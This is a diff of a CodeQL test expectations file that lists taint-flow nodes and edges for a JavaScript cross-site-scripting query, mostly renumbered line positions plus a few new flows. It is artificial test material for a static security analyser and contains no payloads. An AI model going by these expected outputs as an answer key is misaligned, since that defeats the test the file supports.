+| tst.js:498:16:498:26 | window.name | semmle.label | window.name |
+| tst.js:499:18:499:33 | unescape(source) | semmle.label | unescape(source) |
+| tst.js:499:27:499:32 | source | semmle.label | source |
 | typeahead.js:9:28:9:30 | loc | semmle.label | loc |
 | typeahead.js:10:16:10:18 | loc | semmle.label | loc |
 | typeahead.js:20:13:20:45 | target | semmle.label | target |
@@ -614,6 +646,8 @@ nodes
 | typeahead.js:21:12:21:17 | target | semmle.label | target |
 | typeahead.js:24:30:24:32 | val | semmle.label | val |
 | typeahead.js:25:18:25:20 | val | semmle.label | val |
+| v-html.vue:2:8:2:23 | v-html=tainted | semmle.label | v-html=tainted |
+| v-html.vue:6:42:6:58 | document.location | semmle.label | document.location |
 | various-concat-obfuscations.js:2:6:2:39 | tainted | semmle.label | tainted |
 | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | semmle.label | documen ... .search |
 | various-concat-obfuscations.js:4:4:4:31 | "<div>" ... </div>" | semmle.label | "<div>" ... </div>" |
@@ -785,6 +819,20 @@ edges
 | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml | provenance |  |
 | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | provenance |  |
 | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | provenance | Config |
+| hana.js:11:37:11:40 | rows | hana.js:11:37:11:51 | rows[0].comment | provenance |  |
+| hana.js:16:37:16:40 | rows | hana.js:16:37:16:51 | rows[0].comment | provenance |  |
+| hana.js:19:37:19:40 | rows | hana.js:19:37:19:51 | rows[0].comment | provenance |  |
+| hana.js:22:37:22:38 | rs | hana.js:22:37:22:49 | rs[0].comment | provenance |  |
+| hana.js:38:31:38:32 | rs | hana.js:38:31:38:43 | rs[0].comment | provenance |  |
+| hana.js:43:33:43:41 | dummyRows | hana.js:43:33:43:52 | dummyRows[0].comment | provenance |  |
+| hana.js:44:33:44:42 | tablesRows | hana.js:44:33:44:53 | tablesR ... comment | provenance |  |
+| hana.js:50:33:50:41 | dummyRows | hana.js:50:33:50:52 | dummyRows[0].comment | provenance |  |
+| hana.js:51:33:51:42 | tablesRows | hana.js:51:33:51:53 | tablesR ... comment | provenance |  |
+| hana.js:70:33:70:36 | rows | hana.js:70:33:70:47 | rows[0].comment | provenance |  |
+| hana.js:73:33:73:36 | rows | hana.js:73:33:73:47 | rows[0].comment | provenance |  |
+| hana.js:84:35:84:43 | dummyRows | hana.js:84:35:84:54 | dummyRows[0].comment | provenance |  |
+| hana.js:85:35:85:43 | tableRows | hana.js:85:35:85:54 | tableRows[0].comment | provenance |  |
+| hana.js:90:33:90:34 | rs | hana.js:90:33:90:45 | rs[0].comment | provenance |  |
 | jquery.js:2:7:2:40 | tainted | jquery.js:4:5:4:11 | tainted | provenance |  |
 | jquery.js:2:7:2:40 | tainted | jquery.js:5:13:5:19 | tainted | provenance |  |
 | jquery.js:2:7:2:40 | tainted | jquery.js:6:11:6:17 | tainted | provenance |  |
@@ -831,8 +879,8 @@ edges
 | jwt-server.js:7:9:7:35 | taint | jwt-server.js:9:16:9:20 | taint | provenance |  |
 | jwt-server.js:7:17:7:35 | req.param("wobble") | jwt-server.js:7:9:7:35 | taint | provenance |  |
 | jwt-server.js:9:16:9:20 | taint | jwt-server.js:9:55:9:61 | decoded | provenance |  |
-| jwt-server.js:9:55:9:61 | decoded | jwt-server.js:11:19:11:25 | decoded | provenance |  |
-| jwt-server.js:11:19:11:25 | decoded | jwt-server.js:11:19:11:29 | decoded.foo | provenance |  |
+| jwt-server.js:9:55:9:61 | decoded | jwt-server.js:10:19:10:25 | decoded | provenance |  |
+| jwt-server.js:10:19:10:25 | decoded | jwt-server.js:10:19:10:29 | decoded.foo | provenance |  |
 | jwt.js:4:36:4:39 | data | jwt.js:5:30:5:33 | data | provenance |  |
 | jwt.js:5:9:5:34 | decoded | jwt.js:6:14:6:20 | decoded | provenance |  |
 | jwt.js:5:19:5:34 | jwt_decode(data) | jwt.js:5:9:5:34 | decoded | provenance |  |
@@ -879,12 +927,12 @@ edges
 | pages/[id].jsx:5:18:5:29 | router.query | pages/[id].jsx:5:9:5:14 | { id } | provenance |  |
 | pages/[id].jsx:13:44:13:49 | params [id] | pages/[id].jsx:13:44:13:52 | params.id | provenance |  |
 | pages/[id].jsx:16:44:16:49 | params [q] | pages/[id].jsx:16:44:16:51 | params.q | provenance |  |
-| pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [id] | pages/[id].jsx:3:30:3:35 | params [id] | provenance |  |
-| pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [q] | pages/[id].jsx:3:30:3:35 | params [q] | provenance |  |
+| pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [id] | pages/[id].jsx:3:30:3:35 | params [id] | provenance |  |
+| pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [q] | pages/[id].jsx:3:30:3:35 | params [q] | provenance |  |
 | pages/[id].jsx:25:11:25:24 | context.params | pages/[id].jsx:25:11:25:33 | context ... d \|\| "" | provenance |  |
-| pages/[id].jsx:25:11:25:33 | context ... d \|\| "" | pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [id] | provenance |  |
+| pages/[id].jsx:25:11:25:33 | context ... d \|\| "" | pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [id] | provenance |  |
 | pages/[id].jsx:26:10:26:22 | context.query | pages/[id].jsx:26:10:26:36 | context ... r \|\| "" | provenance |  |
-| pages/[id].jsx:26:10:26:36 | context ... r \|\| "" | pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [q] | provenance |  |
+| pages/[id].jsx:26:10:26:36 | context ... r \|\| "" | pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [q] | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:8:18:8:24 | tainted | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:9:27:9:33 | tainted | provenance |  |
 | react-native.js:7:17:7:33 | req.param("code") | react-native.js:7:7:7:33 | tainted | provenance |  |
@@ -943,8 +991,8 @@ edges
 | tooltip.jsx:22:20:22:30 | window.name | tooltip.jsx:22:11:22:30 | source | provenance |  |
 | translate.js:6:7:6:39 | target | translate.js:7:42:7:47 | target | provenance |  |
 | translate.js:6:16:6:39 | documen ... .search | translate.js:6:7:6:39 | target | provenance |  |
-| translate.js:7:7:7:61 | searchParams | translate.js:9:27:9:38 | searchParams | provenance |  |
-| translate.js:7:7:7:61 | searchParams [MapValue] | translate.js:9:27:9:38 | searchParams [MapValue] | provenance |  |
+| translate.js:7:7:7:61 | searchParams | translate.js:8:27:8:38 | searchParams | provenance |  |
+| translate.js:7:7:7:61 | searchParams [MapValue] | translate.js:8:27:8:38 | searchParams [MapValue] | provenance |  |
 | translate.js:7:22:7:61 | new URL ... ing(1)) | translate.js:7:7:7:61 | searchParams | provenance |  |
 | translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | translate.js:7:7:7:61 | searchParams [MapValue] | provenance |  |
 | translate.js:7:42:7:47 | target | translate.js:7:42:7:60 | target.substring(1) | provenance |  |
@@ -954,8 +1002,8 @@ edges
 | translate.js:7:42:7:60 | target.substring(1) | translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | provenance |  |
 | translate.js:7:42:7:60 | target.substring(1) | translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | provenance |  |
 | translate.js:7:42:7:60 | target.substring(1) | translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | provenance |  |
-| translate.js:9:27:9:38 | searchParams | translate.js:9:27:9:50 | searchP ... 'term') | provenance | Config |
-| translate.js:9:27:9:38 | searchParams [MapValue] | translate.js:9:27:9:50 | searchP ... 'term') | provenance |  |
+| translate.js:8:27:8:38 | searchParams | translate.js:8:27:8:50 | searchP ... 'term') | provenance | Config |
+| translate.js:8:27:8:38 | searchParams [MapValue] | translate.js:8:27:8:50 | searchP ... 'term') | provenance |  |
 | trusted-types-lib.js:1:28:1:28 | x | trusted-types-lib.js:2:12:2:12 | x | provenance |  |
 | trusted-types.js:3:62:3:62 | x | trusted-types.js:3:67:3:67 | x | provenance |  |
 | trusted-types.js:4:20:4:30 | window.name | trusted-types.js:3:62:3:62 | x | provenance |  |
@@ -973,222 +1021,226 @@ edges
 | tst3.js:7:32:7:35 | data | tst3.js:7:32:7:37 | data.p | provenance |  |
 | tst3.js:9:37:9:40 | data | tst3.js:9:37:9:42 | data.p | provenance |  |
 | tst3.js:10:38:10:41 | data | tst3.js:10:38:10:43 | data.p | provenance |  |
-| tst.js:2:7:2:39 | target | tst.js:5:18:5:23 | target | provenance |  |
-| tst.js:2:7:2:39 | target | tst.js:12:28:12:33 | target | provenance |  |
-| tst.js:2:7:2:39 | target | tst.js:20:42:20:47 | target | provenance |  |
+| tst.js:2:7:2:39 | target | tst.js:4:18:4:23 | target | provenance |  |
+| tst.js:2:7:2:39 | target | tst.js:9:28:9:33 | target | provenance |  |
+| tst.js:2:7:2:39 | target | tst.js:17:42:17:47 | target | provenance |  |
 | tst.js:2:16:2:39 | documen ... .search | tst.js:2:7:2:39 | target | provenance |  |
-| tst.js:8:37:8:58 | documen ... on.href | tst.js:8:37:8:114 | documen ... t=")+8) | provenance |  |
-| tst.js:8:37:8:58 | documen ... on.href | tst.js:8:37:8:114 | documen ... t=")+8) | provenance | Config |
-| tst.js:8:37:8:114 | documen ... t=")+8) | tst.js:8:18:8:126 | "<OPTIO ... PTION>" | provenance |  |
-| tst.js:8:37:8:114 | documen ... t=")+8) | tst.js:8:18:8:126 | "<OPTIO ... PTION>" | provenance |  |
-| tst.js:8:37:8:114 | documen ... t=")+8) | tst.js:8:18:8:126 | "<OPTIO ... PTION>" | provenance | Config |
-| tst.js:12:28:12:33 | target | tst.js:12:5:12:42 | '<div s ...  'px">' | provenance | Config |
-| tst.js:17:7:17:56 | params | tst.js:18:18:18:23 | params | provenance |  |
-| tst.js:17:7:17:56 | params [MapValue] | tst.js:18:18:18:23 | params [MapValue] | provenance |  |
-| tst.js:17:16:17:43 | (new UR ... ation)) [searchParams, MapValue] | tst.js:17:16:17:56 | (new UR ... hParams [MapValue] | provenance |  |
-| tst.js:17:16:17:43 | (new UR ... ation)) [searchParams] | tst.js:17:16:17:56 | (new UR ... hParams | provenance |  |
-| tst.js:17:16:17:56 | (new UR ... hParams | tst.js:17:7:17:56 | params | provenance |  |
-| tst.js:17:16:17:56 | (new UR ... hParams [MapValue] | tst.js:17:7:17:56 | params [MapValue] | provenance |  |
-| tst.js:17:17:17:42 | new URL ... cation) [searchParams, MapValue] | tst.js:17:16:17:43 | (new UR ... ation)) [searchParams, MapValue] | provenance |  |
-| tst.js:17:17:17:42 | new URL ... cation) [searchParams] | tst.js:17:16:17:43 | (new UR ... ation)) [searchParams] | provenance |  |
-| tst.js:17:25:17:41 | document.location | tst.js:17:17:17:42 | new URL ... cation) [searchParams, MapValue] | provenance |  |
-| tst.js:17:25:17:41 | document.location | tst.js:17:17:17:42 | new URL ... cation) [searchParams] | provenance |  |
-| tst.js:18:18:18:23 | params | tst.js:18:18:18:35 | params.get('name') | provenance | Config |
-| tst.js:18:18:18:23 | params [MapValue] | tst.js:18:18:18:35 | params.get('name') | provenance |  |
-| tst.js:20:7:20:61 | searchParams | tst.js:21:18:21:29 | searchParams | provenance |  |
-| tst.js:20:7:20:61 | searchParams [MapValue] | tst.js:21:18:21:29 | searchParams [MapValue] | provenance |  |
-| tst.js:20:22:20:61 | new URL ... ing(1)) | tst.js:20:7:20:61 | searchParams | provenance |  |
-| tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | tst.js:20:7:20:61 | searchParams [MapValue] | provenance |  |
-| tst.js:20:42:20:47 | target | tst.js:20:42:20:60 | target.substring(1) | provenance |  |
-| tst.js:20:42:20:47 | target | tst.js:20:42:20:60 | target.substring(1) | provenance | Config |
-| tst.js:20:42:20:47 | target | tst.js:20:42:20:60 | target.substring(1) | provenance | Config |
-| tst.js:20:42:20:60 | target.substring(1) | tst.js:20:22:20:61 | new URL ... ing(1)) | provenance |  |
-| tst.js:20:42:20:60 | target.substring(1) | tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | provenance |  |
-| tst.js:20:42:20:60 | target.substring(1) | tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | provenance |  |
-| tst.js:20:42:20:60 | target.substring(1) | tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | provenance |  |
-| tst.js:21:18:21:29 | searchParams | tst.js:21:18:21:41 | searchP ... 'name') | provenance | Config |
-| tst.js:21:18:21:29 | searchParams [MapValue] | tst.js:21:18:21:41 | searchP ... 'name') | provenance |  |
-| tst.js:24:14:24:19 | target | tst.js:26:18:26:23 | target | provenance |  |
-| tst.js:28:5:28:28 | documen ... .search | tst.js:24:14:24:19 | target | provenance |  |
-| tst.js:31:10:31:33 | documen ... .search | tst.js:34:16:34:20 | bar() | provenance |  |
-| tst.js:31:10:31:33 | documen ... .search | tst.js:58:26:58:30 | bar() | provenance |  |
-| tst.js:31:10:31:33 | documen ... .search | tst.js:68:16:68:20 | bar() | provenance |  |
-| tst.js:36:14:36:14 | x | tst.js:37:10:37:10 | x | provenance |  |
-| tst.js:40:20:40:43 | documen ... .search | tst.js:36:14:36:14 | x | provenance |  |
-| tst.js:40:20:40:43 | documen ... .search | tst.js:40:16:40:44 | baz(doc ... search) | provenance |  |
-| tst.js:42:15:42:15 | s | tst.js:43:20:43:20 | s | provenance |  |
-| tst.js:42:15:42:15 | s | tst.js:43:20:43:20 | s | provenance |  |
-| tst.js:43:20:43:20 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | provenance |  |
-| tst.js:43:20:43:20 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | provenance |  |
-| tst.js:43:20:43:20 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | provenance | Config |
-| tst.js:46:21:46:44 | documen ... .search | tst.js:42:15:42:15 | s | provenance |  |
-| tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | wrap(do ... search) | provenance |  |
-| tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | wrap(do ... search) | provenance | Config |
-| tst.js:48:15:48:15 | s | tst.js:50:12:50:12 | s | provenance |  |
-| tst.js:50:12:50:12 | s | tst.js:50:12:50:22 | s.substr(1) | provenance |  |
-| tst.js:50:12:50:12 | s | tst.js:50:12:50:22 | s.substr(1) | provenance | Config |
-| tst.js:50:12:50:12 | s | tst.js:50:12:50:22 | s.substr(1) | provenance | Config |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:48:15:48:15 | s | provenance |  |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:54:16:54:45 | chop(do ... search) | provenance |  |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:54:16:54:45 | chop(do ... search) | provenance | Config |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:48:15:48:15 | s | provenance |  |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:56:16:56:45 | chop(do ... search) | provenance |  |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:56:16:56:45 | chop(do ... search) | provenance | Config |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:42:15:42:15 | s | provenance |  |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:42:15:42:15 | s | provenance |  |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:58:16:58:32 | wrap(chop(bar())) | provenance |  |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:58:16:58:32 | wrap(chop(bar())) | provenance |  |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:58:16:58:32 | wrap(chop(bar())) | provenance | Config |
-| tst.js:58:26:58:30 | bar() | tst.js:48:15:48:15 | s | provenance |  |
-| tst.js:58:26:58:30 | bar() | tst.js:58:21:58:31 | chop(bar()) | provenance |  |
-| tst.js:58:26:58:30 | bar() | tst.js:58:21:58:31 | chop(bar()) | provenance | Config |
-| tst.js:60:34:60:34 | s | tst.js:62:18:62:18 | s | provenance |  |
-| tst.js:64:25:64:48 | documen ... .search | tst.js:60:34:60:34 | s | provenance |  |
-| tst.js:65:25:65:48 | documen ... .search | tst.js:60:34:60:34 | s | provenance |  |
-| tst.js:70:1:70:27 | [,docum ... search] [1] | tst.js:70:46:70:46 | x | provenance |  |
-| tst.js:70:3:70:26 | documen ... .search | tst.js:70:1:70:27 | [,docum ... search] [1] | provenance |  |
-| tst.js:70:46:70:46 | x | tst.js:73:20:73:20 | x | provenance |  |
-| tst.js:107:7:107:44 | v | tst.js:110:18:110:18 | v | provenance |  |
-| tst.js:107:7:107:44 | v | tst.js:136:18:136:18 | v | provenance |  |
-| tst.js:107:11:107:34 | documen ... .search | tst.js:107:11:107:44 | documen ... bstr(1) | provenance |  |
-| tst.js:107:11:107:34 | documen ... .search | tst.js:107:11:107:44 | documen ... bstr(1) | provenance | Config |
-| tst.js:107:11:107:44 | documen ... bstr(1) | tst.js:107:7:107:44 | v | provenance |  |
-| tst.js:148:29:148:50 | window. ... .search | tst.js:151:29:151:29 | v | provenance |  |
-| tst.js:151:29:151:29 | v | tst.js:151:49:151:49 | v | provenance |  |
-| tst.js:158:40:158:61 | window. ... .search | tst.js:155:29:155:46 | xssSourceService() | provenance |  |
-| tst.js:177:9:177:41 | target | tst.js:180:28:180:33 | target | provenance |  |
-| tst.js:177:18:177:41 | documen ... .search | tst.js:177:9:177:41 | target | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:186:31:186:37 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:188:42:188:48 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:189:33:189:39 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:191:54:191:60 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:192:45:192:51 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:193:49:193:55 | tainted | provenance |  |
-| tst.js:184:19:184:42 | documen ... .search | tst.js:184:9:184:42 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:199:67:199:73 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:200:67:200:73 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:236:35:236:41 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:238:20:238:26 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:240:23:240:29 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:241:23:241:29 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:255:23:255:29 | tainted | provenance |  |
-| tst.js:197:19:197:42 | documen ... .search | tst.js:197:9:197:42 | tainted | provenance |  |
-| tst.js:199:67:199:73 | tainted | tst.js:200:67:200:73 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:204:35:204:41 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:206:46:206:52 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:207:38:207:44 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:208:35:208:41 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:236:35:236:41 | tainted | provenance |  |
-| tst.js:204:35:204:41 | tainted | tst.js:212:28:212:46 | this.state.tainted1 | provenance |  |
-| tst.js:206:46:206:52 | tainted | tst.js:213:28:213:46 | this.state.tainted2 | provenance |  |
-| tst.js:207:38:207:44 | tainted | tst.js:214:28:214:46 | this.state.tainted3 | provenance |  |
-| tst.js:208:35:208:41 | tainted | tst.js:218:32:218:49 | prevState.tainted4 | provenance |  |
-| tst.js:236:35:236:41 | tainted | tst.js:225:28:225:46 | this.props.tainted1 | provenance |  |
-| tst.js:236:35:236:41 | tainted | tst.js:238:20:238:26 | tainted | provenance |  |
-| tst.js:238:20:238:26 | tainted | tst.js:226:28:226:46 | this.props.tainted2 | provenance |  |
-| tst.js:238:20:238:26 | tainted | tst.js:240:23:240:29 | tainted | provenance |  |
-| tst.js:240:23:240:29 | tainted | tst.js:227:28:227:46 | this.props.tainted3 | provenance |  |
-| tst.js:240:23:240:29 | tainted | tst.js:241:23:241:29 | tainted | provenance |  |
-| tst.js:241:23:241:29 | tainted | tst.js:231:32:231:49 | prevProps.tainted4 | provenance |  |
-| tst.js:241:23:241:29 | tainted | tst.js:255:23:255:29 | tainted | provenance |  |
-| tst.js:247:39:247:55 | props.propTainted | tst.js:251:60:251:82 | this.st ... Tainted | provenance |  |
-| tst.js:255:23:255:29 | tainted | tst.js:247:39:247:55 | props.propTainted | provenance |  |
-| tst.js:285:9:285:29 | tainted | tst.js:288:59:288:65 | tainted | provenance |  |
-| tst.js:285:19:285:29 | window.name | tst.js:285:9:285:29 | tainted | provenance |  |
-| tst.js:301:9:301:16 | location | tst.js:302:10:302:10 | e | provenance |  |
-| tst.js:302:10:302:10 | e | tst.js:303:20:303:20 | e | provenance |  |
-| tst.js:308:10:308:17 | location | tst.js:310:10:310:10 | e | provenance |  |
-| tst.js:310:10:310:10 | e | tst.js:311:20:311:20 | e | provenance |  |
-| tst.js:327:10:327:35 | new URL ... cation) [searchParams, MapValue] | tst.js:331:16:331:30 | getTaintedUrl() [searchParams, MapValue] | provenance |  |
-| tst.js:327:10:327:35 | new URL ... cation) [searchParams] | tst.js:331:16:331:30 | getTaintedUrl() [searchParams] | provenance |  |
-| tst.js:327:18:327:34 | document.location | tst.js:327:10:327:35 | new URL ... cation) [searchParams, MapValue] | provenance |  |
-| tst.js:327:18:327:34 | document.location | tst.js:327:10:327:35 | new URL ... cation) [searchParams] | provenance |  |
-| tst.js:331:7:331:43 | params | tst.js:332:18:332:23 | params | provenance |  |
-| tst.js:331:7:331:43 | params [MapValue] | tst.js:332:18:332:23 | params [MapValue] | provenance |  |
-| tst.js:331:16:331:30 | getTaintedUrl() [searchParams, MapValue] | tst.js:331:16:331:43 | getTain ... hParams [MapValue] | provenance |  |
-| tst.js:331:16:331:30 | getTaintedUrl() [searchParams] | tst.js:331:16:331:43 | getTain ... hParams | provenance |  |
-| tst.js:331:16:331:43 | getTain ... hParams | tst.js:331:7:331:43 | params | provenance |  |
-| tst.js:331:16:331:43 | getTain ... hParams [MapValue] | tst.js:331:7:331:43 | params [MapValue] | provenance |  |
-| tst.js:332:18:332:23 | params | tst.js:332:18:332:35 | params.get('name') | provenance | Config |
-| tst.js:332:18:332:23 | params [MapValue] | tst.js:332:18:332:35 | params.get('name') | provenance |  |
-| tst.js:341:12:341:37 | new URL ... cation) [hash] | tst.js:343:5:343:12 | getUrl() [hash] | provenance |  |
-| tst.js:341:20:341:36 | document.location | tst.js:341:12:341:37 | new URL ... cation) [hash] | provenance |  |
-| tst.js:343:5:343:12 | getUrl() [hash] | tst.js:343:5:343:17 | getUrl().hash | provenance |  |
-| tst.js:343:5:343:17 | getUrl().hash | tst.js:343:5:343:30 | getUrl( ... ring(1) | provenance | Config |
-| tst.js:348:7:348:39 | target | tst.js:349:12:349:17 | target | provenance |  |
-| tst.js:348:16:348:39 | documen ... .search | tst.js:348:7:348:39 | target | provenance |  |
-| tst.js:355:10:355:42 | target | tst.js:356:16:356:21 | target | provenance |  |
-| tst.js:355:10:355:42 | target | tst.js:357:20:357:25 | target | provenance |  |
-| tst.js:355:19:355:42 | documen ... .search | tst.js:355:10:355:42 | target | provenance |  |
-| tst.js:356:16:356:21 | target | tst.js:357:20:357:25 | target | provenance |  |
-| tst.js:357:20:357:25 | target | tst.js:360:21:360:26 | target | provenance |  |
-| tst.js:357:20:357:25 | target | tst.js:363:18:363:23 | target | provenance |  |
-| tst.js:371:7:371:39 | target | tst.js:374:18:374:23 | target | provenance |  |
-| tst.js:371:16:371:39 | documen ... .search | tst.js:371:7:371:39 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:384:18:384:23 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:386:18:386:23 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:397:18:397:23 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:406:18:406:23 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:408:19:408:24 | target | provenance |  |
-| tst.js:381:16:381:39 | documen ... .search | tst.js:381:7:381:39 | target | provenance |  |
-| tst.js:386:18:386:23 | target | tst.js:386:18:386:29 | target.taint | provenance |  |
-| tst.js:391:3:391:8 | [post update] target [taint3] | tst.js:392:18:392:23 | target [taint3] | provenance |  |
-| tst.js:391:19:391:42 | documen ... .search | tst.js:391:3:391:8 | [post update] target [taint3] | provenance |  |
-| tst.js:392:18:392:23 | target [taint3] | tst.js:392:18:392:30 | target.taint3 | provenance |  |
-| tst.js:397:18:397:23 | target | tst.js:397:18:397:30 | target.taint5 | provenance |  |
-| tst.js:406:18:406:23 | target | tst.js:406:18:406:30 | target.taint7 | provenance |  |
-| tst.js:408:3:408:8 | [post update] target [taint8] | tst.js:408:19:408:24 | target [taint8] | provenance |  |
-| tst.js:408:3:408:8 | [post update] target [taint8] | tst.js:409:18:409:23 | target [taint8] | provenance |  |
-| tst.js:408:19:408:24 | target | tst.js:408:19:408:31 | target.taint8 | provenance |  |
-| tst.js:408:19:408:24 | target [taint8] | tst.js:408:19:408:31 | target.taint8 | provenance |  |
-| tst.js:408:19:408:31 | target.taint8 | tst.js:408:3:408:8 | [post update] target [taint8] | provenance |  |
-| tst.js:409:18:409:23 | target [taint8] | tst.js:409:18:409:30 | target.taint8 | provenance |  |
-| tst.js:416:7:416:46 | payload | tst.js:417:18:417:24 | payload | provenance |  |
-| tst.js:416:17:416:36 | window.location.hash | tst.js:416:17:416:46 | window. ... bstr(1) | provenance |  |
-| tst.js:416:17:416:36 | window.location.hash | tst.js:416:17:416:46 | window. ... bstr(1) | provenance | Config |
-| tst.js:416:17:416:46 | window. ... bstr(1) | tst.js:416:7:416:46 | payload | provenance |  |
-| tst.js:419:7:419:55 | match | tst.js:421:20:421:24 | match | provenance |  |
-| tst.js:419:15:419:34 | window.location.hash | tst.js:419:15:419:55 | window. ... (\\w+)/) | provenance |  |
-| tst.js:419:15:419:55 | window. ... (\\w+)/) | tst.js:419:7:419:55 | match | provenance |  |
-| tst.js:421:20:421:24 | match | tst.js:421:20:421:27 | match[1] | provenance |  |
-| tst.js:424:18:424:37 | window.location.hash | tst.js:424:18:424:48 | window. ... it('#') [1] | provenance | Config |
-| tst.js:424:18:424:48 | window. ... it('#') [1] | tst.js:424:18:424:51 | window. ... '#')[1] | provenance |  |
-| tst.js:428:7:428:39 | target | tst.js:430:18:430:23 | target | provenance |  |
-| tst.js:428:16:428:39 | documen ... .search | tst.js:428:7:428:39 | target | provenance |  |
-| tst.js:430:18:430:23 | target | tst.js:430:18:430:89 | target. ... data>') | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:440:28:440:33 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:441:33:441:38 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:442:34:442:39 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:443:41:443:46 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:444:44:444:49 | source | provenance |  |
-| tst.js:436:6:436:38 | source | tst.js:445:32:445:37 | source | provenance |  |
-| tst.js:436:15:436:38 | documen ... .search | tst.js:436:6:436:38 | source | provenance |  |
-| tst.js:453:7:453:39 | source | tst.js:455:18:455:23 | source | provenance |  |
-| tst.js:453:7:453:39 | source | tst.js:456:36:456:41 | source | provenance |  |
-| tst.js:453:16:453:39 | documen ... .search | tst.js:453:7:453:39 | source | provenance |  |
-| tst.js:456:36:456:41 | source | tst.js:456:18:456:42 | ansiToH ... source) | provenance |  |
-| tst.js:460:6:460:38 | source | tst.js:463:21:463:26 | source | provenance |  |
-| tst.js:460:6:460:38 | source | tst.js:465:19:465:24 | source | provenance |  |
-| tst.js:460:6:460:38 | source | tst.js:467:20:467:25 | source | provenance |  |
-| tst.js:460:15:460:38 | documen ... .search | tst.js:460:6:460:38 | source | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:473:19:473:21 | url | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:474:26:474:28 | url | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:475:25:475:27 | url | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:476:20:476:22 | url | provenance |  |
-| tst.js:471:7:471:46 | url | tst.js:486:22:486:24 | url | provenance |  |
-| tst.js:471:13:471:36 | documen ... .search | tst.js:471:13:471:46 | documen ... bstr(1) | provenance | Config |
-| tst.js:471:13:471:46 | documen ... bstr(1) | tst.js:471:7:471:46 | url | provenance |  |
-| tst.js:491:23:491:35 | location.hash | tst.js:491:23:491:45 | locatio ... bstr(1) | provenance | Config |
-| tst.js:494:18:494:30 | location.hash | tst.js:494:18:494:40 | locatio ... bstr(1) | provenance | Config |
-| tst.js:501:43:501:62 | window.location.hash | tst.js:501:33:501:63 | decodeU ... n.hash) | provenance |  |
-| tst.js:508:7:508:39 | target | tst.js:509:18:509:23 | target | provenance |  |
-| tst.js:508:16:508:39 | documen ... .search | tst.js:508:7:508:39 | target | provenance |  |
-| tst.js:509:18:509:23 | target | tst.js:509:18:509:54 | target. ... "), '') | provenance |  |
+| tst.js:6:37:6:58 | documen ... on.href | tst.js:6:37:6:114 | documen ... t=")+8) | provenance |  |
